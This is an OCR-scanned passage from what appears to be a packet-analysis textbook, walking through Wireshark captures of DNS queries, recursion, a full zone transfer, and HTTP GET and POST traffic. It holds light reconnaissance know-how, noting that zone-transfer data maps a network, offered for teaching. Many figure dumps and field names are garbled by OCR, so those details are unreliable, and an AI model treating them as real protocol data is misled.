- Truncated: Message is not truncated 
- Recursion desired: Do query recursively 
Recursion available: Server can do recursive queries 
Z: reserved (0) 
.. = Answer authenticated: Answer/authority portion was not authenticated by the server 
0000 - Reply code: No error (0) 


[ 3) ons: 1 
Answer RRS: 1 
Authority RRs: O 
Additional RRs: O 
E Queries 
E wireshark.org: type A, class IN 
[| Name: wireshark.org 
Type: A (Host address) 
N Class: IN (0x0001) 
Ej Answers 
E wireshark.org: type A, class IN, addr 128.121.50.122 o 
Name: wireshark.org 
Type: A (Host address) 
Class: IN (0x0001) 
Time to live: 4 hours 
Data length: 4 
Addr : 


L. a 


Figure 7-9: The DNS response packet 


The Flags section confirms that this is a response and that recursion is 
available if necessary @. This packet contains only one question and one 
resource record ®, because it includes the original question in conjunction 
with its answer. Expanding the Answers section gives us the response to the 
query: the IP address of wireshark.orgis 128.121.50.122 @. With this informa- 
tion, the client can now construct IP packets and begin communicating with 
wireshark. org. 
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DNS Question Types 


The Type fields used in DNS queries and responses indicate the resource 
record type that the query or response is for. Some of the more common 
message/ resource record types are listed in Table 7-2. You will be seeing 
these types throughout normal traffic and this book. 


Table 7-2: Common DNS Resource Record Types 


Value Type Description 
1 A IPv4 host address 
2 NS Authoritative name server 
5 CNAME Canonical name for an alias 
15 MX Mail exchange 
16 TXT Text string 
28 AAAA IPv6 host address 
251 IXFR Incremental zone transfer 
252 AXFR Full zone transfer 


The list in Table 7-2 is brief and by no means exhaustive. To review 
all DNS resource record types, visit http://www.iana.org/assignments/dns 
-parameters/. 


DNS Recursion 


Due to the hierarchical nature of the Internet's DNS structure, DNS servers 
must be able to communicate with each other in order to answer the queries 
submitted by clients. While we expect our internal DNS server to know the 
name-to-IP address mapping of our local intranet server, we can't expect it to 
know the IP address associated with Google or Dell. 

When a DNS server needs to find an IP address, it queries another DNS 
server on behalf of the client making the request. In effect, the DNS server 
acts like a client, and this process is called recursion. 

To view the recursion process from both the DNS client and server per- 
spectives, open the file dns recursivequery client.pcap. This file contains a capture 
ofa client's DNS traffic file in two packets. The first packet is the initial query 
sent from the DNS client 172.16.0.8 to its DNS server 172.16.0.102, as shown 
in Figure 7-10. 

When you expand the DNS portion of this packet, you'll see that this is a 
standard query for an A type record for the DNS name www.nostarch.com 6. 
To learn more about this packet, expand the Flags section, and you'll see 
that recursion is desired 6. 

The second packet is what we would expect to see in response to the 
initial query, as shown in Figure 7-11. 

This packet's transaction ID matches that of our query 9, no errors 
are listed, and we receive the A type resource record associated with 
www.nostarch.com 9. 


í > 
li 1 0.000000 172.16.0.8 172.16.0.102 DNS Standard query A www.nostarch.com POSS rey x=) 


Frame 1 (76 bytes on wire, 76 bytes captured) 
Ethernet II, Src: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee), Dst: 00:0c:29:92:94:9f (00:0c:29:92:94:9f) 
E Internet Protocol, Src: 172.16.0.8 (172.16.0.8), Dst: 172.16.0.102 (172.16.0.102) 
User Datagram Protocol, src Port: 56125 (56125), Dst Port: 53 (53) 

Response In: 2 

Transaction ID: Ox8b34 
E Flags: 0x0100 (standard query) 

sco. emer um. Sear - Response: Message is a query 

Opcode: Standard query (0) 
Truncated: Message is not truncated 
Recursion desired: Do query recursively e 
Z: reserved (0) 
Non-authenticated data OK: Non-authenticated data is unacceptable 


Questions: 1 
Answer RRS: O 
Authority RRs: 0 
Additional RRs: 0 
E queries 
© ww. nostarch.com: type A, class IN 
o: www. nostarch. com 
Type: A (Host address) 
Class: IN (0x0001) 


| a - 
0010 20-38 05/44 00. 00/80. 00 00 ac 10 00 08 ac 10 
3 

00 00 03 7 


03 63 6f 6d 00 


Figure 7-10: The DNS query with the recursion desired bit set 


(@ 2 0.183134 172.16.0.102 172.16.0.8 DNS Standard query response A 7232924 [terface = m 


Frame 2 (92 bytes on wire, 92 bytes captured) 
Ethernet II, src: 00:0c:29:92:94:9f (00:0c:29:92:94:9f), Dst: 00:25:b3:bf:91:ee (00:25:b3:bf:91:ee) 
@ Internet Protocol, Src: 172.16.0.102 (172.16.0.102), Dst: 172.16.0.8 (172.16.0.8) 
User Datagram Protocol, Src Port: 53 (53), Dst Port: 56125 (56125) 
| 
Request In: 1 
| [Time: 0.183134000 seconds] 
Transaction ID: 0x8b34 [1] 
Flags: 0x8180 (standard query response, No error) 
Questions: 1 
Answer RRS: 1 
Authority RRs: O 
Additional RRs: O 
El Queries 
5 www.nostarch.com: type A, class IN 
Name: www. nostarch. com 
Type: A (Host address) 
I Class: IN (0x0001) 
@ Answers 
E| ww. nostarch. com: type A, class IN, addr 72.32.92.4 
[ Name: www.nostarch.com 
Type: A (Host address) @ 
! Class: IN (0x0001) 
Time to live: 1 hour | 
Data length: 4 
Addr: 72.32.92.4 


—— 


0020 35 3d 
0030 
0040 H cO Oc 00 01 
0050 - 


L. 2 


Figure 7-11: The DNS query response 


The only way that we can see that this query was answered by recursion is 
by listening to the DNS server's traffic when the recursion is taking place, as 
demonstrated in the file dns recursivequery server.pcap. This file shows a capture 
of the traffic on the local DNS server when the query was initiated. The first 
packet is the same initial query we saw in the previous capture file. At this point, 
the DNS server has received the query, checked its local database, and realized it 
does not know the answer to the question of which IP address goes with the 
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DNS name (nostarch.com). Because the packet was sent with the recursion 
desired bit set, the DNS server can ask another DNS server this question in 
an attempt to locate the answer, as you can see in the second packet. 

In the second packet, the DNS server at 172.16.0.102 transmits a new query 
to 4.2.2.1, which is the server to which it is configured to forward upstream 
requests, as shown in Figure 7-12. This query mirrors the original one, effec- 
tively turning the DNS server into a client. 


(W@W 2 0000379 172160102 4221 DNS Standard query A wwwnostarch com Bela aw) 


& Frame 2 (76 bytes on wire, 76 bytes captured) 
Ethernet II, Src: 00:0c:29:92:94:9f (00:0c:29:92:94:9f), Dst: 00:26:0b:31:07:33 (00:26:0b:31:07:33) 
& Internet Protocol, Src: 172.16.0.102 (172.16.0.102), Dst: 4.2.2.1 (4.2.2.1) 
User Datagram Protocol, Src Port: 62570 (62570), Dst Port: 53 (53) 
m Domain Name System (query) 
Response In: 3 
Transaction ID: Oxf34d 
& Flags: 0x0100 (standard query) 
Questions: 1 
Answer RRs: O 
Authority RRs: 0 
Additional RRs: 0 
E Queries 
© www.nostarch.com: type A, class IN 
Name: www. nostarch. com 
Type: A (Host address) 
Class: IN (0x0001) 


| 0010 00 3e 38 dO 00 OO 80 11 4f 66 ac 10 00 66 04 02 
0020 02 O1 f4 6a 00 35 00 2a 52 28 (ERECT 
[ENEMEMMOO OO OO 00 00 OO 03 77 77 77 O8 Ge 6f 73 74 61| 
[172 63 68 03 63 6f 6d 00 00 O1 OO 01| 


L J 


m 


Figure 7-12: The recursive DNS query 


We can tell that this is a new query because the transaction ID number 
differs from the transaction ID number in the previous capture file. Once 
this packet is received by server 4.2.2.1, the local DNS server receives the 
response shown in Figure 7-13. 


Ig] 3 0182602 4.2.2.1 172160102 DNS Standard query response A 7232924 Leo] a ) 


Frame 3 (92 bytes on wire, 92 bytes captured) 
Hj Ethernet II, Src: 00:26:0b:31:07:33 (00:26:0b:31:07:33), Dst: 00:0c:29:92:94:9f (00:0c:29:92:94:9f) 
Internet Protocol, Src: 4.2.2.1 (4.2.2.1), Dst: 172.16.0.102 (172.16.0.102) 
& User Datagram Protocol, Src Port: 53 (53), Dst Port: 62570 (62570) 
| Request In: 2 
[Time: 0.182223000 seconds] 
Transaction ID: Oxf34d 
|| & Flags: 0x8180 (standard query response, No error) 
Questions: 1 
Answer RRS: 1 
Authority RRs: O 
Additional RRs: 0 
E Queries 
B www.nostarch.com: type A, class IN 
Name: www.nostarch.com 
Type: A (Host address) 
Class: IN (0x0001) 
E Answers 
Ej www.nostarch.com: type A, class IN, addr 72.32.92.4 
Name: www.nostarch.com 
Type: A (Host address) 
Class: IN (0x0001) 
Time to live: 1 hour 
Data length: 4 
Addr: 72.32.92.4 


0020 00 66 00 35 f4 6a 00 7 K ^ 
(ee MOO O1 00 OO 00 00 03 77 7 77 08 le fe 

0040 00 01 00 5 IE 
(PEO O1 OO OO Oe 10 00 48 20 5c |: 


È d 


Figure 7-13: Response to the recursive DNS query 


dns axfr.pcap 


Having received this response, the local DNS server can transmit the 
fourth and final packet to the DNS client with the information requested. 

Although this example showed only one layer of recursion, recursion 
can occur many times for a single DNS request. Here, we received an answer 
from the DNS server at 4.2.2.1, but that server could have retransmitted the 
query recursively to another server in order to find the answer. A simple query 
can travel all over the world before it finally gets a correct response. Figure 7-14 


illustrates the recursive DNS query process. 
N 
J Query Response 


SS Query Response 


DNS Client Local DNS Server External DNS Server 


Figure 7-14: A recursive DNS query 


DNS Zone Transfers 


A DNS zoneis the namespace (or group of DNS names) that a DNS server has 
been delegated to manage. For instance, Emma’s Diner might have one DNS 
server responsible for emmasdiner.com. In that case, devices both inside and 
outside Emma's Diner wishing to resolve emmasdiner.com to an IP address 
would need to contact that DNS server as the authority for that zone. If Emma's 
Diner were to grow, it could add a second DNS server to handle the email 
portion of its DNS namespace only, say mail.emmasdiner.com, and that server 
would be the authority for that mail subdomain. Additional DNS servers 
might be added for subdomains as necessary, as shown in Figure 7-15. 

A zone transfer occurs when zone data is transferred between two devices, 
typically out of desire for redundancy. For example, in organizations with 
multiple DNS servers, administrators commonly configure a secondary DNS 
server to maintain a copy of the primary server's DNS zone information in 
case the primary DNS server becomes unavailable. There are two types of 
zone transfers: 


Full zone transfer (AXFR) These types of transfers send an entire zone 
between devices. 


Incremental zone transfer (IXFR) These types of transfers send only a 
portion of the zone information. 


The file dns axfr.pcap contains an example of a full zone transfer between 
the hosts 172.16.16.164 and 172.16.16.139. 

When you first look at this file, you may wonder whether you've opened 
the right file, because rather than UDP packets, you see TCP packets. Although 
DNS relies on UDP, it uses TCP for certain tasks, such as zone transfers, because 
TCP is more reliable for the amount of data being transferred. The first 
three packets in this capture file are the TCP three-way handshake. 
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emmasdiner.com 


web.emmasdiner.com 


db.web.emmasdiner.com 


Figure 7-15: DNS zones divide responsibility for namespaces. 


The fourth packet begins the actual zone transfer request between 
172.16.16.164 and 172.16.16.139. This packet doesn't contain any DNS 
information. It is marked as a “TCP segment of a reassembled PDU” because 
the data sent in the zone transfer request packet was sent in multiple packets. 
Packets 4 and 6 contain the packet's data. Packet 5 is the acknowledgment 
that packet 4 was received. These packet are displayed in this manner because 
of the way in which Wireshark parses and displays TCP packets for easier 
readability. For our purposes, we can reference packet 6 as the complete DNS 
zone transfer request, as shown in Figure 7-16. 

The zone transfer request is a standard query 8, but instead of request- 
ing a single record type, it requests the AXFR type @, meaning that it wishes 
to receive the entire DNS zone from the server. The server responds with the 
zone records in packet 7, as shown in Figure 7-17. As you can see, the zone 
transfer contains quite a bit of data, and this is one of the simpler examples! 
With the zone transfer complete, the capture file ends with the TCP connection 
teardown process. 


li 6 0.218656 172.16.16.164 172.16.16.139 DNS Standard query AXFR contoso.local 
Œ Frame 6 (87 bytes on wire, 87 bytes captured) 
@ Ethernet II, Src: 00:0c:29:7e:ec:a4 (00:0c:29:7e:ec:a4), Dst: 00:0c:29:ce:di:9e (00:0c:29:ce:d1:9e) 
Internet Protocol, Src: 172.16.16.164 (172.16.16.164), Dst: 172.16.16.139 (172.16.16.139) 
Œ Transmission Control Protocol, src Port: 1108 (1108), Dst Port: 53 (53), Seq: 1570704528, Ack: 451899203, Len: 33 
B [Reassembled TCP segments (35 bytes): #4(2), #6(33)] 
Response In: 7 
Length: 33 
Transaction ID: 0x0007 
@ Flags: 0x0100 (standard query) (1) 
Questions: 1 
Answer RRS: 0 
Authority RRs: 0 
Additional RRs: 0 
B Queries 
5 contoso. local: type AXFR, class IN 
Name: contoso. local 
Qype: AxFR (Request for full zone transfer) 
Class: IN (0x0001) 


(qo 21 00 07 O1 00 00 O1 00 00 0 07 63 
MON: ce 74 6f 73 6f O5 6c 6f 63 61 6c 00 00 fc 00 
0020 WEELREE 


Frame (87 bytes)! Reassembled TCP (35 bytes) 


D" 


Figure 7-16: DNS full zone transfer request 


WARNING 


E 7 0.240425 172.16.16.139 172.16.16.164 DNS Standard query response SOA dns3.contoso.local A 172.16.16.139 NS dns3.contoso.local NS csanders-9ceael.contoso local SRV 0 100 3268 dns3.contoso local SRV 0 100 88 d... [E1151] 


& Frame 7 (1210 bytes on wire, 1210 bytes captured) 

@ Ethernet II, Src: 00:0c:29:ce:di:9e (00:0c:29:ce:d1:9e), Dst: 00:0c:29:7e:ec:a4 (00:0c:29:7e:ec:a4) 

8 Internet Protocol, src: 172.16.16.139 (172.16.16.139), Dst: 172.16.16.164 (172.16.16.164) 

@ Transmission Control Protocol, src Port: 53 (53), Dst Port: 1108 (1108), Seq: 451899203, Ack: 1570704561, Len: 1156 
= Domain Name system (response) 


[Time: 0.021769000 seconds] 
Length: 1154 
Transaction ID: 0x0007 
Flags: Ox8180 (Standard query response, No error) 
Questions: 1 
Answer RRS: 21 
Authority RRs: 0 
Additional RRS: 0 
Queries 
E contoso.local: type AXFR, class IN 
Name: contoso. local 
Type: AXFR (Request for full zone transfer) 
Class: IN (0x0001) 
Answers 
E contoso. local: type SOA, class IN, mname dns3.contoso. local 
Œ contoso. local: type A, class IN, addr 172.16.16.139 
G contoso.local: type NS, class IN, ns dns3.contoso. local 
-msdcs.contoso.local: type NS, class IN, ns csanders-9ceael.contoso. local 
gc. tcp.Default-First-Site-Name. sites. contoso. local: type SRV, class IN, priority 0, weight 100, port 3268, target dns3.contoso. local 
-kerberos. tcp.Default-First-Site-Name. sites.contoso.local: type SRV, class IN, priority 0, weight 100, port 88, target dns3.contoso. local 
—ldap. tcp.Default-First-Site-Name. sites.contoso. local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso. local 
-gc..tcp.contoso.local: type SRV, class IN, priority 0, weight 100, port 3268, target dns3.contoso.local 
-kerberos. tcp.contoso.local: type SRV, class IN, priority 0, weight 100, port 88, target dns3.contoso. local 
-kpasswd. tcp.contoso.local: type SRV, class IN, priority 0, weight 100, port 464, target dns3.contoso. local 
—ldap. tcp.contoso.local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso. local 
-kerberos. udp.contoso.local: type SRV, class IN, priority 0, weight 100, port 88, target dns3.contoso. local 
-kpasswd. udp.contoso.local: type SRV, class IN, priority O, weight 100, port 464, target dns3.contoso. local 
dns3.contoso. local: type A, class IN, addr 172.16.16.139 
DomainDnszones.contoso.local: type A, class IN, addr 172.16.16.139 
ldap. tcp.Default-First-Site-Name. sites.DomainDnszones.contoso.local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso. local 
—ldap. tcp.DomainDnszones.contoso.local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso. local 
ForestbnsZones.contoso.local: type A, class IN, addr 172.16.16.139 
ldap. tcp.Default-First-Site-Name. sites.ForestDnszones.contoso.local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso. local 
& _ldap._tcp.Forestonszones. contoso. local: type SRV, class IN, priority 0, weight 100, port 389, target dns3.contoso. local 
@ contoso. local: type SOA, class IN, mname dns3.contoso. local 


m EI 


m 
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Figure 7-17: The DNS full zone transfer occurring 


The data contained in a zone transfer can be very dangerous in the wrong hands. 
For example, by enumerating a single DNS server, you can map a network’s entire 
infrastructure. 


Hypertext Transfer Protocol 


http_google. pcap 


The Hypertext Transfer Protocol (HTTP) is the delivery mechanism of the 
World Wide Web, allowing web browsers to connect to web servers to view 
web pages. In most organizations, HTTP represents, by far, the highest per- 
centage of traffic seen going across the wire. Every time you do a Google 
search, connect to Twitter to send a tweet, or check University of Kentucky 
basketball scores on ESPN.com, you’re using HTTP. 

We won't look at the packet structures for an HTTP transfer. Because 
the contents of those packets vary widely depending on their purpose, that 


exercise is left to you. Here, we'll look at some practical applications of 
HTTP. 


Browsing with HTTP 


HTTP is most commonly used to browse web pages on a web server using a 
web browser. The capture file hitp_google.pcap shows such an HTTP transfer, 
using TCP as the transport layer protocol. Communication begins with a 
three-way handshake between the client 172.16.16.128 and the Google web 
server 74.125.95.104. 

Once communication is established, the first packet is marked as an HTTP 
packet from the client to the server, as shown in Figure 7-18. 
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@ 4 0.030248 172.16.16.128 74.125.95.104 HTTP GET / HTTP/1.1 Sa} 


|Œ Frame 4 (681 bytes on wire, 681 bytes captured) 
|Œ Ethernet II, Src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c) 
| Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 74.125.95.104 (74.125.95.104) 
@ Transmission Control Protocol, Src Port: 1606 (1606), Dst Port: 80 (80), Seq: 2082691768, Ack: 2775577374, Len: 627 
m Hypertext Transfer Protocol 1 
B 


& [Expert Info (Chat/sequence): GET / HTTP/1.1\r\n] 
@rewest Method: GET 
Request URI: / 
Request Version: HTTP/1.1 
Host: www. google. com\r\n 
User-Agent: Mozilla/5.0 (windows; U; windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7\r\n 
Accept: text/html,application/xhtml«xml,application/xml; q-0. 9,*/*;q-0. 8\r\n 
Accept-Language: en-us,en; q=0. 5\r\n 
Accept-Encoding: gzip,deflate\r\n 
Accept-Charset: ISO-8859-1,utf-8; q=0.7,*;q=0.7\r\n 
Keep-Alive: 300\r\n 
Connection: keep-alive\r\n 
| [truncated] Cookie: PREF=ID=257913a938e6c248 : U=267c896b5f 39f bOb : FF=4 :LD=en: NR=10: TM=12607 30654 : LM=1265479336:GM=1:S=h 
\r\n 


EN n ] , 


(0030 10 7a fc 70 00 00 TEEEEEEETEPIUPISPDEETI 
B Oa 48 6 73 74 3a 20 77 77 77 


o7 of 6f 67 6c 65 2e 63 6f 6d Od Oa 55 73 65 
2d 41 67 65 Ge 74 3a 20 4d 6f 7a 69 6c 
35 2e 30 20 28 57 69 6e 64 6f 77 73 3b 


-Agent: Mozilla, 
5.0 (win dows; U; 


f 
|0060 
L 


I 


Figure 7-18: The initial HTTP GET request packet 


The HTTP packet is delivered over TCP to the server's port 80 @, the 
standard port for HTTP communication (8080 is also commonly used). 

HTTP packets are identified by one of eight different request methods 
(defined in HTTP specification version 1.1), which indicate the action the 
packet's transmitter will perform on the receiver. As shown in Figure 7-18, 
this packet identifies its method as GET, its request Uniform Resource Indicator 
(URI) as /, and the request version as HTTP/1.1 @. This information tells us 
that the client is sending a request to download (GET) the root web directory 
(/) of the web server using version 1.1 of HTTP. 

Next, the host sends information about itself to the web server. This 
information includes things such as the user agent (browser) being used, 
languages accepted by the browser (Accept-Languages), and cookie informa- 
tion (at the bottom of the capture). The server can use this information to 
determine which data to return to the client in order to ensure compatibility. 

When the server receives the HTTP GET request in packet 4, it responds 
with a TCP ACK, acknowledging the packet, and begins transmitting the 
requested data from packets 6 to 11. HTTP is used only to issue application 
layer commands between the client and server. When it's time to transfer data, 
application layer control is not seen, except for at the beginning and end of 
the data stream. 

Data is sent from the server in packets 6 and 7, an acknowledgment 
from the client in packet 8, two more data packets in packets 9 and 10, and 
another acknowledgment in packet 11, as shown in Figure 7-19. All of these 
packets are shown in Wireshark as TCP segments, rather than HTTP pack- 
ets, although HTTP is still responsible for their transmission. 
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. 101202 
. 101465 
. 101495 
. 102282 
.102350 
. 102364 
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* Source * Destination * Protoco * Info 
74.125.95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
74.125.95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] Seq=2082692395 Ack-2775580186 win-4218 Len=0 
74.125.95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
74.125.95.104 172.16.16.128 TCP [TCP segment of a reassembled PDU] 
172.16.16.128 74.125.95.104 TCP 1606 > 80 [ACK] Seq=2082692395 Ack-2775581694 win-4218 Len=0 


Figure 7-19: TCP transmitting data between the client browser and web server 
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http. post.pcap 


Once the data is transferred, a reassembled stream of the data is sent, as 
shown in Figure 7-20. 


dw 12 0.134395 74.125.95.104 172.16.16.128 HTTP HTTP/1.1 200 OK (text/html) E> RE 


Frame 12 (591 bytes on wire, 591 bytes captured) 

& Ethernet II, Src: 00:05:5d:21:99:4c (00:05:5d:21:99:4c), Dst: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a) 
Internet Protocol, src: 74.125.95.104 (74.125.95.104), Dst: 172.16.16.128 (172.16.16.128) 
Transmission Control Protocol, src Por 30 (80), Dst Port: 1606 (1606), Seq: 2775581694, Ack: 2082692395, Len: 537 
[Reassembled TCP Segments (4857 bytes): #6(1406), #7(1406), #9(1406), #10(102), #12(537)] 

Hypertext Transfer Protocol 
B 


[Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n] 
Request Version: HTTP/1.1 
Response Code: 200 

Date: Tue, 09 Feb 2010 01:18:37 @MT\r\n 

Expires: -1\r\n 

Cache-Control: private, max-age=0\r\n 

Content-Type: text/html; charset=UTF-8\r\n 

Content-Encoding: gzip\r\n 

Server: gws\r\n 

8 Content-Length: 4633\r\n 

X-XSS-Protection: 0\r\n 

\r\n 

Content-encoded entity body (gzip): 4633 bytes -> 11308 bytes 
@ Line-based text data: text/html 


0000 Hy 54 50 2f 31 2e 20 32 : 
0010 LET 20 54 75 65 2c 20 
[0020 [o5 62 20 32 30 31 30 20 


Frame G91 Byes)| Reassembled TCP (4857 bytes) | Uncompressed entity body (11308 bytes) 


Figure 7-20: Final HTTP packet with response code 200 


HTTP uses a number of predefined response codes to indicate the results 
of a request method. In this example, we see a packet with response code 200 6), 
which indicates a successful request method. The packet also includes a time- 
stamp and some additional information about the encoding of the content 
and configuration parameters of the web server. When the client receives 
this packet, the transaction is complete. 


Posting Data with HTTP 


Now that we have looked at the process of downloading data from a web server, 
let's turn our attention to uploading data. The file http_post.pcap contains a 
very simple example of an upload: a user posting a comment to a website. 
After the initial three-way handshake, the client (172.16.16.128) sends an 
HTTP packet to the web server (69.163.176.56), as shown in Figure 7-21. 


E 4 0.081100 172.16.16.128 69.163.176.56 HTTP POST /wp-comments-post php HTTP/1.1 (application/x-www-form-urlencoded) Se) 


Œ Frame 4 (1175 bytes on wire, 1175 bytes captured) 
@ Ethernet II, src: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a), Dst: 00:05:5d:21:99:4c (00:05:5d:21:99:4c) 
@ Internet Protocol, Src: 172.16.16.128 (172.16.16.128), Dst: 69.163.176.56 (69.163.176.56) 
@® Transmission Control Protocol, Src Port: 1989 (1989), Dst Port: 80 (80), Seq: 2808074211, Ack: 3740859985, Len: 1121 
m Hypertext Transfer Protocol 
a 
Œ [Expert Info (Chat/Sequence): POST /wp-comments-post.php HTTP/1.1\r\n] 
Request Method: POST 
\ Request URI: /wp-comments-post. php @ l 
Request version: HTTP/1.1 
Host: www. chrissanders.org\r\n 
User-Agent: Mozilla/5.0 (windows; U; windows NT 6.1; en-US; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7\r\n 
Accept: text/html ,application/xhtml«xml , application/xml;q-0.9,*/*;q-0.8 rn 
Accept-Language: en-us,en;q=0.5\r\n 
Accept-Encoding: gzip,deflate\r\n 
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\n 
Keep-Alive: 300\r\n | 
connection: keep-alive\r\n 
Referer: http://www. chrissanders. org/?p=310\r\n 
[truncated] Cookie: . utma-84195659.500695863.1261144042.1265668706.1265682737.20; __utmz=84195659. 1264688282. 12. 2. utmcsr=go 
Content-Type: application/x-www-form-urlencoded\r\n 
@ Content-Length: 179\r\n 
\r\n 
© Line-based text data: application/x-www-form-ur lencoded 
@puthor=chri s+Sanders&emai l-chr i s*40chr issanders. org&ur 1=http%3A%2F%2Fwww. chr issanders. or g&comment=This+is+a+POST+test%214&subr 


D 


hr issander| 
.org..U ser-Agei + 


Figure 7-21: The HTTP POST packet 
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This packet uses the POST method 6 to upload data to a web server for pro- 
cessing. The POST method used here specifies the URI /wp-comments-post.php @, 
and the HTTP 1.1 Request version. To see the contents of the data posted, 
expand the Line-based Text Data portion of the packet ®. 

Once the data is transmitted in this POST, an ACK packet is sent. As shown 


in Figure 7-22, the server responds with packet 6, transmitting the response 
code 302 @, which means “found.” 


ll 6 1.437827 69.163.176.56 172.16.16.128 HTTP HTTP/1.1 302 Found ear) 
@ Frame 6 (964 bytes on wire, 964 bytes captured) 

& Ethernet II, Src: 00:05:5d:21:99:4c (00:05:5d:21:99:4c), Dst: 00:21:6a:5b:7d:4a (00:21:6a:5b:7d:4a) 
&$ Internet Protocol, src: 69.163.176.56 (69.163.176.56), Dst: 172.16.16.128 (172.16.16.128) 


& Transmission control Protocol, Src Port: 80 (80), Dst Port: 1989 (1989), Seq: 3740859985, Ack: 2808075332, Len: 910 
m Hypertext Transfer Protoco 


& [Expert Info (chat/Sequence): HTTP/1.1 302 Found\r\n] 


Request Version: H 
Response Code: $i 

4| Date: Tue, 09 Feb 2010°02:30:26 @MT\r\n 

Server: apache\r\n 
X-Powered-By: PHP/4.4.9\r\n 
Expires: wed, 11 Jan 1984 05:00:00 @MT\r\n 
Cache-Control: no-cache, must-revalidate, max-age=0\r\n 
Pragma: no-cache\r\n 
Set-Cook 'omment. author. 0d7dc802882e903c170f35a2d747915b-chris«Sanders; expires-Saturday, 22-Jan-11 07:50:27 GMT; path=/\r\n 
Set-Cook 'omment. author. email. 0d7dc802882e903c170f35a2d747915b-chrisX40chrissanders.org; expires=Saturday, 22-Jan-11 07:50:27 GMT; path=/\r\n 


Set-Cook 'omment. author. ur. 0d7dc802882e903c170f35a2d747915b-httpX3AX2FX2Fwww. chrissanders.org; expires=Saturday, 22-Jan-11 07:50:27 GMT; path=/\r\n 
Qi ast modified: Tue, 09 Feb 2010 02:30:27 GMT Wn 


Location: http://www. chrissanders. org/?p=310&cpage=1#comment-103002\r\n 
vary: Accept-Encoding\r\n 
Content-Encoding: gzip\r\n 
@ Content-Length: 20\r\n 
Keep-Ali imeout-2, max=100\r\n 
Connecti eep-Alive\r\n 
Content-Type: text/html\r\n 
\r\n 
& Content-encoded entity body (gzip): 20 bytes [Error: Decompression failed] 


(0030 00 40 c2 c5 00 00 m 
0 0 4i 


6 6 6e 64 
b4 75 65 2c 20 30 39 20 
20 30 32 3a 33 30 3a 32 36 20 47 4d 54 Od Oa 53| 
os 72 76 65 72 3a 20 41 70 61 63 68 65 Od Oa 58| 


02:30:2 6 GMT..S| 
lerver: A pache..X 


Figure 7-22: HTIP response 302 is used to redirect. 


The 302 response code is a common means of redirection in the HTTP 
world. The Location field in this packet specifies where the client is to be 
directed @. In this case, that's to the place on the originating web page where 
the comment was posted. Finally, the server transmits status code 200, and the 
page's content is sent over the next several packets to complete the transmission. 


Final Thoughts 


Chapter 7 


The chapter has introduced the most common protocols you will encounter 
when examining traffic at the application layer. In the following chapters, 
we'll examine new protocols and additional features of the protocols we've 
covered here, as we explore a wide range of real scenarios. 

To learn more about individual protocols, read their associated RFC or 
have a look at The TCP/IP Guide by Charles Kozeriok (No Starch Press, 2005). 
Also, see the list of resources in the appendix. 


BASIC REAL-WORLD 
SCENARIOS 


Beginning with this chapter, we'll dig 

into the meat of packet analysis, as we use 
Wireshark to analyze real-world network 
problems. In the first part, we'll analyze scenar- 


ios that you might encounter day to day as a network 
engineer, help desk technician, or application developer—all derived from 
my real-world experiences and those of my colleagues. We'll use Wireshark 
to examine traffic from Twitter, Facebook, and ESPN.com to see how these 
common services work. 

The second part of this chapter introduces a series of real-world problems. 
For each, I describe the situation surrounding each problem and offer the 
information that was available to the analyst at the time. Having laid the 
groundwork, we'll turn to analysis, as I describe the method used to capture 
the appropriate packets and step you through the analysis process. Once 
analysis is complete, I offer a full solution to the problem or point you to 
potential solutions, along with an overview of lessons learned. 

Throughout, remember that analysis is a very dynamic process, and the 
methods I use to analyze each scenario may not be the same ones that you 
might use. Everyone analyzes in different ways. The most important thing is 


that the end result of the analysis solves a problem or provides a learning 
experience. In addition, most problems discussed in this chapter can proba- 
bly be solved without a packet sniffer. When I was first learning how to analyze 
packets I found it helpful to examine typical problems in atypical ways by 
using packet analysis techniques, which is why I present these scenarios to you. 


Social Networking at the Packet Level 


twitter. login.pcap 


No. 


NOTE 


Time Source 


First, we'll look at the traffic of two popular social networking websites: Twit- 
ter and Facebook. We'll examine the authentication process associated with 
each service and see how the two very similar functions use different meth- 
ods to perform the same task. We'll also look at how some of the primary 
functions of each service work in order to gain a better understanding of the 
traffic we generate in our normal daily activities. 


Capturing Twitter Traffic 


Whether you use Twitter to stay up-to-date on news in the tech community or 
just to complain about your girlfriend, it's one of the more commonly used 
services on the Internet. For this scenario, you'll find a capture of Twitter 
traffic in the file twitter. login.pcap. 


Websites change their code frequently. As a result, if you try to re-create the captures in 
the next few sections you may find that your results differ from what is shown here. 


The Twitter Login Process 


When I teach packet analysis, one of the first things I have my students do is 
log in to a website they normally use and capture the traffic from the login 
process. This serves a dual purpose: It exposes the students to more packets 
in general, and it allows them to discover insecurities in their daily activities 
by looking for plaintext passwords traversing the wire. 

Fortunately, the Twitter authentication process is not completely insecure. 
As you can see in Figure 8-1, these first three packets constitute the TCP 
handshake between our local device (172.16.16.128) @ and a remote server 
(168.143.162.68) 6. The remote server is listening for our connection on 
port 443 ©, which is typically associated with SSL over HTTP, commonly 
referred to as HTTPS, a secure form of data transfer. Based on these alone, 
we can assume that this is SSL traffic. 


e Destination @ — Protocol _ Info 


1 0.000000 172.16.16.128 168.143.162.68 TCP 4669 > 443 [SYN] Seq-4164864060 win-8192 Len-0 MSS-1460 


2 0.072728 168.143.162.68 172.16.16.128 443 > 4669 [SYN, ACK] Seq=1150193371 Ack=4164864061 win-18200 Len=0 MSS-1406 
3 0.000101 172.16.16.128 168.143.162.68 4669 > 443 [ACK] Seq=4164864061 Ack=1150193372 win-16872 Len=0 


